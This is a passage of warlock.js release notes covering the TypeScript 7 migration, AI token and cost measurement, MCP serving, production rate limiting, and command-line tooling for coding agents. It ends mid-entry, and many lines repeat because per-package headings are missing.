ToolContextadds optionalrequestIdandprincipalfields for server transports, keeping authenticated identity out of tool input and model messages. - Added
ai.measure({ model, tools?, system?, messages?, skills? })and standalonemeasurereport per-part native input token counts or labelled estimates and uncached input USD when priced.measure.diff(before, after)returns signed per-part and total changes with the original reports. Includes compact schemas, catalogue-only measurement, explicit probe metadata, and whole-report fallback for unsupported count shapes. - ChangedUse root Oxlint/Oxfmt binaries and configuration for package lint/fix and format scripts. Legacy ESLint/Prettier dependencies and configs remain until the 5.34.0 removal.
- Added
subscribeTraces(listener)andTraceListenerfor process-local adapters observing finalized traces from every built-in collector before exporter dispatch, with isolated listener failures and independent teardown. - AddedOptional
Trace.requestIdand exactTraceQuery.requestIdfilters for both in-memory and cache-backed query/aggregate APIs. - AddedContent-free retry-attempt timings, provider cache-hit and truncated-trip counts, agent compaction decisions and provider compaction-block counts on trace attributes, surfaced by the devtools AI panel.
- AddedMCP serving now exposes per-call
requestId, authenticatedprincipaland cancellation-aware signals over HTTP and stdio. HTTPauth.authenticateresolves principals alongside bearer/authorize checks; stdio accepts static or provider principals.beforeCallvalidates policy after input validation and can return a native error refusal or throw a JSON-RPC error.notifications/cancelledaborts only the matching caller/request and suppresses its response. New hook/context/refusal and stdio transport types are exported. - FixedKeep HTTP and MCP fixtures valid under strict indexed access, accept string JSON-RPC request IDs in serving tests, and replace stdin through its descriptor without pretending a stream is a terminal.
- ChangedLabel the explicit ESLint/Prettier prompt choice, flag help and docs as deprecated; retain TypeScript 6.0.3 compatibility and explicitly enable its dev-server checker. Package development scripts use root Oxlint/Oxfmt, and the template formatting gate defaults to Oxfmt. Oxc scripts explicitly select
.oxfmtignore. - Deprecated
--lint=eslintprints a clear removal warning for 5.34.0, recommends--lint=oxcand names the existing-app migration command. Explicit Prettier compatibility scripts also warn.
- ChangedUse root Oxlint/Oxfmt binaries and configuration for package lint/fix and format scripts. Legacy ESLint/Prettier dependencies and configs remain until the 5.34.0 removal.
- ChangedUse root Oxlint/Oxfmt binaries and configuration for package lint/fix and format scripts. Legacy ESLint/Prettier dependencies and configs remain until the 5.34.0 removal.
- AddedAdd
registerLogSecret(value, keys?)andmaskRegisteredLogSecrets(text)for process-lifetime credential masking. Registered keys and literal values remain protected with defaults disabled or custom censors, including free text, Error causes and channel failure diagnostics. The safety pass masks opaque objects and does not invoke serializers/getters.
- ChangedUse root Oxlint/Oxfmt binaries and configuration for package lint/fix and format scripts. Legacy ESLint/Prettier dependencies and configs remain until the 5.34.0 removal.
5.32.0October 18, 2026
TypeScript 7 across the family, metric-matched web fonts, and fixes from upgrading real apps to 5.31. Every package, new app and the release tooling move to TypeScript 7.0.2 (the native tsc): the workspace typecheck drops from about 1 min 51 s to 36 s, warlock typecheck/check and the dev-server checker run on the native compiler, and syntax analysis uses oxc-parser. Apps drop baseUrl and moduleResolution: node/node10 from their tsconfig. New apps default to Oxlint + Oxfmt; the opt-in ESLint toolchain stays on TypeScript 6.0.3 because typescript-eslint does not support TypeScript 7. Web: declared fonts with preload, metric-matched fallbacks that stop the layout shift when a web font swaps in, and immutable caching. AI: opt-in native MCP results, private permissions for snapshot/session/cassette files, Gemini Developer API token counting with system prompts and tools (with an estimate fallback), hosted-search usage and cost across providers, Qwen search and Kimi search/fetch tools. Security: esbuild 0.28.2 (GHSA-g7r4-m6w7-qqqr). Notifications imports herald as an optional peer instead of bundling a private copy. Agents get report-framework-issue.md and warlock issue to file framework issues with consent. Breaking: TypeScript 7 config changes, private AI file modes, herald must be installed for .queue() with the herald backend.
Full release notes or run npx warlock release-notes.
- Added
warlock issue [--type bug|feature] [--title "..."] [--json]collects installed environment details and a static config summary without booting the app, then prints a bounded pre-filled framework issue URL; it never submits anything. Add bug/feature issue forms and thereport-framework-issue.mdagent topic with minimal-repro, privacy, duplicate-search and user-consent guidance. - ChangedClarify the upgrade skill: new scaffolds default to Oxlint/Oxfmt and TypeScript 7.0.2; explicit ESLint mode stays on TypeScript 6.0.3 to satisfy typescript-eslint, with deprecation planned for 5.33 and removal for 5.34.
- ChangedVerify generated web stubs with the scaffold’s TypeScript-independent Prettier import sorter, including an explicit no-plugin negative control and decorator parsing; align the contact controller stub’s inline type-specifier order.
- ChangedBREAKING: pin
typescriptto 7.0.2, whosetsccommand uses the native Go compiler. Apps must removebaseUrl, rebasepaths, replacemoduleResolution: "node"/"node10", and declare ambient Node types explicitly. - ChangedPreserve incremental CLI checks and changed-file filtering; reuse a native compiler session for per-file development diagnostics and close it on shutdown.
- ChangedParse imports, configuration, translation keys, model/resource typings, convention checks, page discovery and doctor migrations with OXC instead of the removed JavaScript compiler API.
- FixedFix source development workers on Node.js 24 failing to load Node builtins through native dependencies, restoring background TypeScript health checks.
- SecurityUpgrade esbuild to ^0.28.2, past the Windows development-server advisory GHSA-g7r4-m6w7-qqqr (patched in 0.28.1).
- AddedDeclare self-hosted fonts once with typed
web.fonts: generated font-face CSS and variables, critical preloads in buffered and streamed heads, page/layout/root preload opt-outs, and metric-matched local fallbacks. Dependency-free sfnt/WOFF/WOFF2 metrics use Capsize's recorded system metrics and weighted Latin advances to reduce layout shifts when a condensed display font swaps into a hero heading. - AddedDeclared font files and their stylesheet are hashed Vite assets with the existing one-year immutable production cache. Development caches metrics and warns about TTF/OTF files and critical faces missing preload or fallback.
- ChangedPin the package development compiler to TypeScript 7.0.2 and use explicit Node types and source roots with supported module resolution.
- SecurityUpgrade esbuild to ^0.28.2, past the Windows development-server advisory GHSA-g7r4-m6w7-qqqr (patched in 0.28.1).
- AddedProvider-reported hosted-tool usage counters, per-request
ModelPricing.serverToolsrates and historicalcost.serverToolsamounts;mergeUsageandtotalCostinclude them. Budget reserve mode acceptsserverToolRequestswith fail-closed fee pricing. Responses and streaming terminal chunks retain raw provider metadata; agent trips retain metadata and handle adapter-supplied hosted continuations withinmaxTripswithout function dispatch. - Added
ai.snapshot.file({ dir, dirMode?, fileMode? })accepts custom permission modes with private defaults, refusing invalid modes and group/other write bits. - ChangedUpdate provider-tool guidance to use the first-party Kimi search/fetch client tools and their usage accounting, replacing the unreleased builtin path retiring on 20 October 2026.
- ChangedPin the package development compiler to TypeScript 7.0.2 and use explicit Node types and source roots with supported module resolution.
- Fixed
countInputTokensfalls back to a full-input estimate when native counting explicitly signalsInvalidRequestError.reason: "count-unsupported", keeping reserve-mode budget preflight usable with unsupported request shapes while propagating real provider errors. - SecurityLocal snapshot and VCR cassette stores create directories with
0700and JSON files with exactly0600, including temporary files before atomic rename and rewrites of older files. Existing directories are never chmod-ed. SQLite path stores create private parents and set the database and journal/WAL/SHM sidecars to0600; caller-supplied database connections retain caller-managed permissions. POSIX modes are ignored on Windows.
- ChangedBREAKING: the default scaffold toolchain is now Oxlint + Oxfmt (
--lint=oxc) with TypeScript 7.0.2. Explicit--lint=eslintretains ESLint + Prettier with TypeScript 6.0.3 so npm, pnpm and yarn can satisfy typescript-eslint's peer range. The wizard, help and headless defaults agree. - ChangedESLint selection prints one compatibility notice explaining the TypeScript 6.0.3 pin and planned deprecation in 5.33 / removal in 5.34. The scaffold gate accepts
--lintand--pmto verify both toolchains with npm, pnpm or yarn; CI exercises Oxc by default. - ChangedReplace the Prettier import organizer with
@ianvs/prettier-plugin-sort-importsso import sorting works with TypeScript 7. Keep built-ins, packages, internal aliases and relative imports in one block, with separate type imports; align Oxfmt’s internal-alias groups with the same template source. Formatters retain unused imports; ESLint or Oxlint reports them. - ChangedBREAKING: scaffold the default Oxlint/Oxfmt mode with TypeScript 7.0.2 using the native
tsccommand, supported tsconfig options and explicit Node types. Existing apps must removebaseUrl, rebasepaths, and replace classic Node module resolution. - ChangedDocument the optional ESLint parser's dependence on the removed JavaScript compiler API; keep its compiler isolated in the monorepo's development tooling so ESLint specs remain executable while the default scaffold uses TS7.
- AddedExport
kimiSearchTool()(Basic/Pro),kimiFetchTool()and verifiedKIMI_SERVER_TOOL_PRICING: authenticated, cancellable first-party REST calls with compact results, mapped errors, no automatic retries, and billable response usage/costs aggregated into agent reports. - AddedRetain Responses hosted output/actions/sources and count web-search calls without double-counting stream snapshots. Export opt-in
OPENAI_SERVER_TOOL_PRICING. Support typed Qwen/DashScopeenableSearchflags. - ChangedRemove the unreleased Kimi/Moonshot
$web_searchbuiltin echo path; reject declarations of the builtin retiring on 20 October 2026 and document migration to standalone REST tools. - ChangedPin the package development compiler to TypeScript 7.0.2 and use explicit Node types and source roots with supported module resolution.
- FixedVerified that Responses native token counting preserves the shared unsupported-count signal for
countInputTokensestimation while authentication errors propagate.
- Added
mcpResult(...)and itsMcpNativeResulttype explicitly mark native tool results.serve(..., { results: "native" })enables detection for existing native-returning tools;meta.mcpResults: "native" | "text"overrides detection per tool. - Added
meta.outputSchemaadvertises structured tool output intools/list;McpToolCallResultnow includesstructuredContentand_meta. - ChangedPin the package development compiler to TypeScript 7.0.2 and use explicit Node types and source roots with supported module resolution.
- FixedOpted-in native MCP tool results preserve content blocks,
isError,structuredContentand_metaover stdio and HTTP, including tools with an advertised output schema. Per-request headers and abort signals remain available to tools; default result serialization and thrown-tool error handling are unchanged. - FixedMalformed native results produce a JSON-RPC internal error instead of sending invalid MCP payloads.
- AddedMap cumulative hosted web-search/fetch usage in completions and streams while preserving server-tool blocks. Export verified request-fee prices as
ANTHROPIC_SERVER_TOOL_PRICINGfor explicit pricing composition. - ChangedPin the package development compiler to TypeScript 7.0.2 and use explicit Node types and source roots with supported module resolution.
- FixedVerified that native token counting preserves the shared unsupported-count signal for
countInputTokensestimation while authentication errors propagate.
- ChangedPin the package development compiler to TypeScript 7.0.2 and use explicit Node types and source roots with supported module resolution.
- FixedVerified that native token counting preserves the shared unsupported-count signal for
countInputTokensestimation while authentication errors propagate. - FixedClarify that Converse TokenUsage exposes no hosted-search request counter; system-tool blocks cannot establish request fees and no count is fabricated.
- AddedPreserve raw candidate grounding metadata and normalize unique nonempty search queries in completions and streams. Export opt-in Gemini 3+ request prices as
GOOGLE_SERVER_TOOL_PRICING; document older models’ per-prompt billing. - ChangedPin the package development compiler to TypeScript 7.0.2 and use explicit Node types and source roots with supported module resolution.
- FixedGemini Developer API token counting sends the full
generateContentRequest, including system instructions, tools and generation settings, through the existing SDK transport with cancellation and error mapping. Vertex counting is unchanged; unsupported cached-content counts carry the typed signal used bycountInputTokensto estimate.
- ChangedReplace the unused classic TypeScript import-organizer development dependency with
@ianvs/prettier-plugin-sort-imports, compatible with TypeScript 7. - ChangedPin the package development compiler to TypeScript 7.0.2 and use explicit Node types and source roots with supported module resolution.
- SecurityUpgrade esbuild to ^0.28.2, past the Windows development-server advisory GHSA-g7r4-m6w7-qqqr (patched in 0.28.1).
- ChangedReplace the unused classic TypeScript import-organizer development dependency with
@ianvs/prettier-plugin-sort-imports, compatible with TypeScript 7. - ChangedPin the package development compiler to TypeScript 7.0.2 and use explicit Node types and source roots with supported module resolution.
- ChangedRebaseline the type benchmark on TS7 with
--checkers 1so type/instantiation counts remain deterministic; resolve the compiler through its exported package manifest.
- ChangedPin the package development compiler to TypeScript 7.0.2 and use explicit Node types and source roots with supported module resolution.
- FixedUse the canonical usage rollup for trace aggregates, retaining hosted-tool counters and historical request fees alongside cache lifetime and mixed-provider cache semantics.
- ChangedPin the package development compiler to TypeScript 7.0.2 and use explicit Node types and source roots with supported module resolution.
- FixedDocument and test explicit rejection of native
web_search/x_searchon the current Chat Completions transport, with guidance to use xAI’s Responses API before any request is sent.
- ChangedPin the package development compiler to TypeScript 7.0.2 and use explicit Node types and source roots with supported module resolution.
- FixedThe published package no longer carries a private, bundled copy of
@warlock.js/herald's source. Because herald was declared as an optional dependency, the release build did not treat it as external and inlined it, so an app using both packages could get two separate herald instances. Herald is now an optional peer and is always imported from the app's own installation.
- ChangedPin the package development compiler to TypeScript 7.0.2 and use explicit Node types and source roots with supported module resolution.
- ChangedPin the package development compiler to TypeScript 7.0.2 and use explicit Node types and source roots with supported module resolution.
- ChangedPin the package development compiler to TypeScript 7.0.2 and use explicit Node types and source roots with supported module resolution.
- ChangedPin the package development compiler to TypeScript 7.0.2 and use explicit Node types and source roots with supported module resolution.
- ChangedPin the package development compiler to TypeScript 7.0.2 and use explicit Node types and source roots with supported module resolution.
- ChangedPin the package development compiler to TypeScript 7.0.2 and use explicit Node types and source roots with supported module resolution.
- ChangedPin the package development compiler to TypeScript 7.0.2 and use explicit Node types and source roots with supported module resolution.
- ChangedPin the package development compiler to TypeScript 7.0.2 and use explicit Node types and source roots with supported module resolution.
- ChangedPin the package development compiler to TypeScript 7.0.2 and use explicit Node types and source roots with supported module resolution.
- ChangedPin the package development compiler to TypeScript 7.0.2 and use explicit Node types and source roots with supported module resolution.
- ChangedPin the package development compiler to TypeScript 7.0.2 and use explicit Node types and source roots with supported module resolution.
- ChangedPin the package development compiler to TypeScript 7.0.2 and use explicit Node types and source roots with supported module resolution.
- ChangedPin the package development compiler to TypeScript 7.0.2 and use explicit Node types and source roots with supported module resolution.
- ChangedPin the package development compiler to TypeScript 7.0.2 and use explicit Node types and source roots with supported module resolution.
- ChangedPin the package development compiler to TypeScript 7.0.2 and use explicit Node types and source roots with supported module resolution.
- ChangedPin the package development compiler to TypeScript 7.0.2 and use explicit Node types and source roots with supported module resolution.
- ChangedPin the package development compiler to TypeScript 7.0.2 and use explicit Node types and source roots with supported module resolution.
- ChangedPin the package development compiler to TypeScript 7.0.2 and use explicit Node types and source roots with supported module resolution.
5.31.0October 18, 2026
Rate limits that actually apply in production, a toolbelt for AI coding agents, and a broad AI upgrade. Security: the global HTTP rate limiter (http.rateLimit, 60 requests/minute per IP by default) is now enforced in production — in 5.30 and earlier it never applied to application routes; static files and the /health//ready probes are exempt by default. Agents get warlock inspect --json, warlock check (typecheck, lint, related tests and framework convention checks with stable WLxxxx codes and an environment-vs-code exit split), warlock explain, warlock mcp, warlock trace, a generated app AGENTS.md, warlock board, warlock make endpoint, --dry-run --json on every generator, a test kit with fakes on by default and model factories, and warlock upgrade codemods. AI: a run cut off by the output or context limit ends as AgentIncompleteError instead of an empty success, cost is cache-aware with verified price tables and reserve-then-commit budgets, reasoning/tool-argument/usage stream chunks, provider-defined tools, conversation sessions with file and SQLite stores, compaction for thinking runs, MCP serving over HTTP with auth, a coding-agent workspace tool belt, and the new @warlock.js/ai-cli that drives 14 vendor coding CLIs as agents. Also: built apps start on Bun and Deno (warlock dev stays on Node), Node 22.15 is the minimum, a confined no-follow reader in @warlock.js/fs, FileLog naming and retention, route-level validation failure responses, and v.union tries every matching object member. Breaking: enforced rate limits, incomplete agent runs, v.union error paths, sortable FileLog names, and more — see the upgrade notes and warlock upgrade --from 5.30 --to 5.31.0. Lockstep release across all 32 packages, one of them new (@warlock.js/ai-cli).
Full release notes or run npx warlock release-notes.
- Added
@warlock.js/core/net: a side-effect-free subpath exporting the SSRF IP classifierisPrivateOrReservedIp(the same function the root exports). It loads onlynode:net, so workers, CLIs and standalone processes —@warlock.js/aiamong them — can reuse the private-address rules without loading the HTTP server, database, cache or mail modules behind the root entry. - Added
http.rateLimit.staticFiles(defaultfalse) decides whether static files count against the global rate limiter. Each static mount can decide for itself:router.directory(options, { rateLimit })and a fourth{ rateLimit }argument onrouter.file(),cachedFile(),files()andcachedFiles()taketrue(global limiter),false(exempt) or{ max, timeWindow, errorMessage? }(own limit and bucket). - AddedRoute validation can answer with an application's own failure body.
validation.onFailure(result, { request, response, route })returns{ status?, body }for a failedschemaorparams(nostatususesvalidation.response.status, 422 by default);validation.response.body(result, route)in the validation config does the same for every route. The route hook wins, either may returnundefinedto fall through, and the framework body is unchanged when neither is set. Routes also accept avalidationoption merged over the handler's own, so one handler can serve several routes with different failure codes.ValidationConfigurationnow typesresponseandresponseStatus. - Added
warlock generate.openapidocuments a custom validation failure body from the handler'sresponseSchemaentry for the failure status instead of the framework'sValidationFailedshape; without one, the configured status is documented without a body and a route-level hook produces a warning. - Added
evaluateConditionalRequest(),matchesIfNoneMatch(),matchesIfMatch()andparseEntityTagList()expose the framework's RFC 9110 precondition handling for application handlers that set their own ETags. - AddedA route's
rateLimitoption also acceptsfalseto exempt the route from the global limiter, andtrueto keep it under the global policy (the default for application routes). - AddedProduction runtime support for Bun and Deno. An app built on Node with
warlock buildstarts and serves on Bun 1.4.3 and Deno 2.9.7, either directly (bun dist/app.js,deno run -A dist/app.js) or throughwarlock startrun with that runtime. AruntimesCI workflow builds a fixture app with pages, API routes, file cache, file logging and static files from the packed framework, starts it on Node, Bun and Deno, and checks every route plus a cleanSIGTERMshutdown. The "Supported runtimes" docs page lists the commands for each runtime. - Added
detectJavaScriptRuntime(),describeJavaScriptRuntime(),nodeOnlyCommandError(),assertNodeOnlyCommand()andunverifiedBuildRuntimeNotice()report which runtime is executing ({ type: "node" | "bun" | "deno", version }), and let a CLI command refuse to run anywhere but Node. - Added
warlock inspect [--json] [--section routes,models,…]prints the app's facts from its booted registries: routes (middleware chain, auth guard, CSRF, rate limit, logging, request/response JSON Schema), models (table, columns, relations, resource), resources, config keys with types (never values), event listeners, pages (layout chain, loaders, actions, guard), queue jobs, scheduled tasks and installed@warlock.js/*versions. Boots likewarlock doctor— no connection, no port. The report is versioned (schemaVersion: 1, fields only ever added) and published as JSON Schema:schemas/inspect-report.schema.jsonandINSPECT_REPORT_JSON_SCHEMA.inspectApp()returns the same object inside any process where the app is booted;bootForInspect()boots first. - Added
warlock check [--changed] [--base <ref>] [--skip …] [--json]is one verify command: an incremental typecheck (in a child process, so running out of memory is reported), the app's ESLint/oxlint, the tests the change affects (vitest run/vitest related), and convention checks (importing an auto-loaded file,.jsimport extensions, relative imports across modules,experimentalDecorators). One JSON object per problem —{ code, category, severity, source, file, line, column, message, hint, skill, docs, rule }— and exit codes that split your code (1) from this machine (2: Node version, missing tool, unreachable database/Redis, busy port, git unavailable, tool crash). It detects and reports only; it never stops processes or frees ports. - Added
warlock check's conventions step also reports security and code-style problems from source, the same with ESLint, Oxlint or no linter:request.all()passed to a query, a service orinApp()(WL9005); a POST/PUT/PATCH/DELETE route with no auth middleware and nopublic: true(WL9006, the source-side twin of thewarlock devwarning, sharing its guard-name rule); aredirect()/navigateTo()/<Link to|href>target read from request input withoutsafeRedirect()/safeRedirectTarget()or anisSafeRedirect()check (WL9007); a raw email, credential or request body in a log call (WL9008, using the logger's default censored keys); a regex with an unbounded quantifier run on request input (WL9009); and, as warnings,await log.*()(WL9010), a second controller in one file (WL9011) and akindunion discriminator (WL9012). A// warlock-check-ignore WL9006comment on the problem's line or the line above records a deliberate exception. The generatedAGENTS.mdconventions list and thewarlock-conventionsskill cover every code. - Added
warlock typecheck [--changed] [--base <ref>] [--project <tsconfig>] [--json]typechecks with the TypeScript compiler API, keeping incremental state in.warlock/cache/typecheck.tsbuildinfo;--changedchecks only the changed files and the files importing them. - AddedStable error codes: a
WL+ four-digit registry (ERROR_CODES, first digit = area: config, boot, routing, validation, http, database, cli, environment, convention), each with a one-line fix, a skill and a docs anchor, exported from@warlock.js/coreand@warlock.js/core/errorswithexplainErrorCode(),errorCodeOf()(also mapsECONNREFUSED/EADDRINUSEand followscause) andWarlockError. Framework error classes carry acode(ModuleLoadError→WL2001,ContainerKeyMissingError→WL2004,CliOptionValueError→WL7001, …); a duplicate route name throwsRouteNameTakenError(WL3001), and unknown route names, missing URL params, invalid controller actions and refused connector lists throw codedWarlockErrors with unchanged messages.warlock explain <CODE> [--json]prints a code's meaning and fix;warlock explainlists them all. - Added
warlock doctor --jsonprints the report as JSON, and everywarn/failfinding (also in the plain report) carries its error code with the samehint/skill/docsfieldswarlock check --jsonuses. - Added
@warlock.js/core/toolingsubpath:inspectApp,runCheck,runTypecheck,CHECK_EXIT_CODESand the sharedToolingProblemtype, kept off the root barrel because it loads the TypeScript compiler and ESLint. - AddedSkills
warlock-inspectandwarlock-check;warlock-doctorcovers--jsonand error codes. Docs pages forwarlock inspect,warlock check/typecheckand the error-code reference. - Added
warlock make endpoint <module>/<name>(alsogenerate.endpoint/make.endpoint) generates one endpoint from its request schema:--schema(a seal object schema file),--method,--path,--resource, and--auth(default) or--public. It writes the schema module, a service taking validated input, the resource shaped from the schema fields, one controller readingrequest.validated()with itsvalidationand an OpenAPIresponseSchema, the route (in aguarded()block, or markedpublic: true), the success message inutils/locales.json, andtests/<name>.test.ts, which requests the endpoint over the real HTTP stack with a valid input derived from the schema, a missing required field, and for guarded routes an anonymous401plus a signed-in case. Existing files are skipped and reported unless--force; a controller already inroutes.tsis not registered twice.warlock make <generator>dispatches to every generator, likewarlock generate. - AddedEvery
generate.*command,makeandaddaccept--dry-run(write nothing;addalso installs nothing, running feature setup against an in-memory copy of the files) and--json(one versioned report on stdout listing files written, files skipped because they exist, per-file actions, command details and messages; also printed when the command fails).add --list --jsonincludes the feature catalog. - AddedTest fakes at
@warlock.js/core/tests, installed by default in the test environment:mailFake,queueFake,cacheFake,storageFake,clockFakeandidsFake, with assertion helpers (assertSent,assertSentCount,assertPushed,assertNotPushed,assertHas,assertStored,assertExists,travel, ...) whose failures list what was recorded.installTestFakes()/restoreTestFakes()and thefakesoption ofsetupTest()/startHttpTestServer()control them;tests.fakesconfigures them per project. The storage fake's temp root is shared between the HTTP test server and the workers. - Added
clock(now(),timestamp()) andids(uuid(),token(length)) runtime helpers. Outside tests they are the system clock andnode:crypto; in tests the fakes make them deterministic without touchingDateor timers. - Added
defineFactory(Model, (seed) => attributes)model factories withmake(),makeMany(n),create(),create(n),createMany(n), named states (state()/with()) and a deterministic seed (text,email,uuid,date,number,pick);resetFactorySequences(). - Added
createTestHttpServer({ routes?, loadAppModules?, importModule? })serves requests inside the test worker with the production Fastify setup, plugins and route registration on an OS-assigned port, returning request helpers,actingAs(user)andclose(); the worker's fakes see what handlers did.createTestRequestClient(baseUrl)binds the request helpers to any URL, andactingAs(user, client?)accepts one. - Added
startHttpTestServer({ port: 0 })binds a free port and publishes the bound port to the workers;warlock add testnow generates it. - Added
snapshotResponse(response, { redact })reduces a response to status, content type and body with volatile paths redacted, fortoMatchSnapshot(). - Added
warlock test [filters...]runs the project's own Vitest with--changed(optionally--since <ref>),--related <files>,--watch,--test-name-patternand--json; change-scoped runs pass when no test is affected. - Added
StorageexposesisInitialized,driverNames()andgetDefaultName(); mail exposesgetExplicitMailMode()andresetMailMode(). - Added
warlock upgrade --to <version>applies the mechanical edits for each breaking change between the installed release and the target, lists every place that needs a decision withfile:line, a hint and the skill to read, and moves every@warlock.js/*dependency to the target.--dry-runprints a unified diff and writes nothing,--jsonprints the result,--fromsets the version upgrading from; without it the command reads the installed@warlock.js/core, which is already the target once the new release is installed, so pass it (warlock upgrade --from 5.30 --to 5.31.0). With no--fromand the installed version equal to the target, the command stops and asks for--from <previous version>. Codemods for 5.30 and 5.31:logger-sync-calls,request-log-snapshot,head-viewport,node-22-15,warlock-versions, plus review lists forseal-validate-result,ai-tool-dispatch,ai-anthropic-body,ai-finish-reason,rate-limit-defaults,seal-refine-output,seal-container-catch,seal-union-outputandai-compaction-opt-in. Source edits usets-morph, an optional peer loaded only by this command; without it the command prints the install command and changes nothing. - AddedRoute option
public?: boolean(also onrouter.group(), inherited by its routes; a route's ownpublic: falseopts back out) records that a mutating route is intentionally reachable without signing in. It changes nothing at runtime. - Added
warlock devwarns once per route about POST/PUT/PATCH/DELETE routes that have no auth middleware and nopublic: true, listing method, path and route file; HMR-added routes are reported when they commit. Page routes are skipped, production never checks, andhttp.warnUnguardedRoutes: falseturns it off. Middleware counts as a guard when marked with the newmarkAuthGuard(middleware, isGuard?)(authMiddleware()marks itself) or, unmarked, when its function name containsauthorguard;isAuthGuardMiddleware(),isUnguardedMutatingRoute()andreportUnguardedMutatingRoutes()are exported for tooling. - Added
safeRedirect(target, { allowedOrigins, fallback })andisSafeRedirect(target, options?): an allowlist for redirect targets taken from request input. Same-origin paths and absolute http(s) URLs on an allowed origin pass;//host,/\host, other schemes, credentials in the URL and control characters fall back to"/"(orfallback).response.redirect()itself is unchanged. - Added
escapeHeaderValue(value)makes any value a valid header value: CR/LF/NUL and other control characters (tab kept) are removed, non-Latin-1 characters become?, and the result is trimmed, so request input cannot split a header or make Node throw a 500. - AddedTyped, validated configuration: a
src/config/<name>.tsfile may exportconfigSchema = defineConfigSchema(validator, { env })next to its default export (ConfigOf<typeof configSchema>types the value). Dev boot, each config hot reload and the production loaderwarlock buildgenerates validate it before registration and throw oneInvalidConfigErrorlisting every problem in every config file (key path, rule message, the environment variable to set), never the values. An invalid config never reaches its special handler; an invalid hot reload keeps the previous value. Files without a schema load as before. - Added
warlock mcpserves the app to coding agents over the Model Context Protocol — stdio by default, or--http(Streamable HTTP on127.0.0.1;--token/WARLOCK_MCP_TOKENrequired for any other host). Tools:inspect_appand oneinspect_<section>per inspect section (with filters, e.g.inspect_routes { unguardedWrites: true }),db_schema(tables, columns, keys and relations from the models),docs_search/docs_read(offline, over the installed@warlock.js/*skills, READMEs and llms files only),explain,check_run,test_run(one file, the tests related to changed files, or the suite),requests_recent(devtools: phases, queries withnPlusOneflags, logs, timings) andgenerate_make/generate_add, which run the generator in a throw-away copy of the project and return a unified diff. Read-only by default: writing needs--allow-writes, otherwisewrite: trueis refused (WL7005).@warlock.js/ai-toolsis a new optional peer, imported only by this command; a missing one fails withWL7003and the install line. Tool names use_because model APIs refuse.in tool names. - Added
warlock dev --mcp(ordevServer.mcp: true | { port, token, allowWrites }) serves the same tools from the dev server over loopback HTTP, reading the live registries after each hot reload. - Added
warlock devrecords its address, devtools mount and MCP endpoint in.warlock/dev-server.json(removed on shutdown);warlock traceandrequests_recentread it. - Added
warlock trace <method> <url> [--body json|@file] [--header k:v] [--json]sends one request to the running dev server (correlated byx-request-id) and prints its devtools timeline as a versioned report (schemaVersion: 1): middleware with timings, the validation result and errors, handler time, queries with N+1 flags, logs, cache operations, mails, the response (authorization and cookie headers redacted, bodies capped) and timings. Devtools is checked before anything is sent:WL8008when the dev server is not running,WL8009when devtools is not,WL5004when devtools recorded no timeline; failures exit 2 for this machine and 1 otherwise. - Added
warlock agents-md [--write] [--json]generates the app-specific section ofAGENTS.mdfrom the booted app — modules with route and model counts, a routes summary with unguarded writes flagged, models, the conventionswarlock checkenforces, the installed skills and the verify commands — between<!-- warlock:generated:start -->and<!-- warlock:generated:end -->. Content outside the markers is never changed; malformed markers fail withWL7501and nothing is written.warlock devrefreshes the section on boot and after reloads (debounced, written only when it changed);devServer.agentsMd: falseturns that off. - Added
warlock board init|add|status|send|watch [--json]is a file-based protocol for two coding agents (an implementer and a reviewer) in a git-ignored.warlock/board/: items with the states todo, in-progress, ready-for-review, changes-requested, approved and blocked (refused moves fail withWL7403), append-only numbered messages per recipient (to-<agent>/NNNN-<slug>.md),VERDICT: APPROVED/VERDICT: CHANGES REQUESTEDlines that move the item, and awatchthat blocks until a new message arrives or times out (WL7404, exit 3). New codesWL7401–WL7404cover the board. - Added
runTests({ files | changed | base })runs the app's vitest for one file, the tests related to changed files, or the suite, with thewarlock checkproblem shape. It and the building blocks of the commands above (startWarlockMcpServer,createMcpContext,createWarlockMcpTools,searchDocs,buildDbSchema,sandboxBackend,applyGeneration,traceRequest,connectDevtools,renderAgentsMdSection,writeAgentsMd,createAgentsMdRefresher,initBoard,watchBoard, …) are exported from@warlock.js/core/tooling. - AddedSkills
warlock-mcp,warlock-trace,warlock-agents-mdandwarlock-board;warlock-inspectpoints agents at the MCP tools. Docs pages forwarlock mcp,warlock trace,warlock agents-mdandwarlock board, and the new codes on the error-code reference. - AddedEnd-to-end configuration recipes cover a non-default R2 image disk, variant ingestion and serving, and shared Redis rate-limit windows across two servers with outage behavior.
- AddedThe
upgrade-from-5-29skill guides application upgrades through logger delivery, tool concurrency, request snapshots, auth counter/lock resets, image cache layouts and viewport metadata. It covers Seal result narrowing and refinement/container/union behavior, AI finish reasons and replay, bounded workspace reads, and production rate-limit migration in 5.31; cut-off AI agent answers (AgentIncompleteErrorwithreport.status: "incomplete",continueOnOutputLimit, per-runmodelOptionsand the Anthropic adapter's larger defaultmax_tokens); the AI cost changes (per-provider cache billing,totalCost, the new built-in model prices and removed defaults, andProviderOverloadedError); and the AI workspace changes (the largertools.all()set, the newWorkspaceOps/Workspacemethods, nested-command refusals anddispose()). - AddedSkills include complete examples for request cancellation, stream/SSE backpressure and retention, HTTP error mapping, shared rate limits and signed-in test clients.
- AddedNotification scaffolds with test support emit real signed-in controller specs and isolated two-recipient fixtures for listing, unread counts, marking one/all read, query validation and ownership checks. Fixtures use the configured auth model and revoke/delete only their own credentials and rows.
- Added
actingAs(user)at@warlock.js/core/testsissues a real persisted access token and returns isolated authenticated HTTP helpers. Middleware remains active;client.dispose()revokes only its token. - AddedOptional Oxlint background file checks during development. Install Oxlint in the app and add
.oxlintrc.json,.oxlintrc.jsonc,oxlint.config.tsoroxlint.config.mts; changed files are linted in sequential batches in a worker and JSON diagnostics appear with rule, location and severity. Large boot scans stay within platform command-line limits, tool/config failures include actionable CLI output, and results omit source contents. Both configured ESLint and Oxlint run by default; ESLint still needs only its app configuration and uses core's own dependency.devServer.healthCheckersalso accepts{ typescript?, eslint?, oxlint? }switches while preserving custom arrays andfalse. - AddedReal Redis integration coverage for cache-backed HTTP rate-limit stores, including concurrent requests, preserved deadlines and counters recreated after a seeded key expires. Local runs opt in with
WARLOCK_REDIS_INTEGRATION=1; CI requires a live Redis service. Tests use UUID prefixes and clean only their own keys. - AddedImage variants support object-storage disks through
